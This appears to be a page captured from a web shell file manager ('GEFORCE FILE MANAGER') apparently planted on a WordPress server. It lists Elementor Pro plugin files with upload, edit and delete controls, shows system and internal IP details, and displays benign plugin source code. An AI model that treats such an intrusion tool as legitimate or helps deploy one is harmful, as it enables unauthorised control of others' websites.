[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
display-conditions
/
classes
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 dynamic-tags
SET
[ DEL ]
📄 and-condition.php
1,079 B
SET
[ EDIT ]
|
[ DEL ]
📄 cache-notice.php
658 B
SET
[ EDIT ]
|
[ DEL ]
📄 comparator-provider.php
2,793 B
SET
[ EDIT ]
|
[ DEL ]
📄 comparators-checker.php
3,731 B
SET
[ EDIT ]
|
[ DEL ]
📄 conditions-manager.php
4,912 B
SET
[ EDIT ]
|
[ DEL ]
📄 or-condition.php
821 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: or-condition.php
<?php namespace ElementorPro\Modules\DisplayConditions\Classes; class Or_Condition { /** * @var $conditions_manager Object */ private $conditions_manager; /** * @var $and_conditions And_Condition[] */ private $and_conditions; public function __construct( $conditions_manager, $sets ) { $this->conditions_manager = $conditions_manager; $this->set_and_conditions( $sets ); } public function check() { if ( empty( $this->and_conditions ) ) { return true; } foreach ( $this->and_conditions as $condition ) { if ( $condition->check() ) { return true; } } return false; } private function set_and_conditions( $groups ) { $this->and_conditions = array_map( function ( $condition ) { return new And_Condition( $this->conditions_manager, $condition ); }, $groups ); } }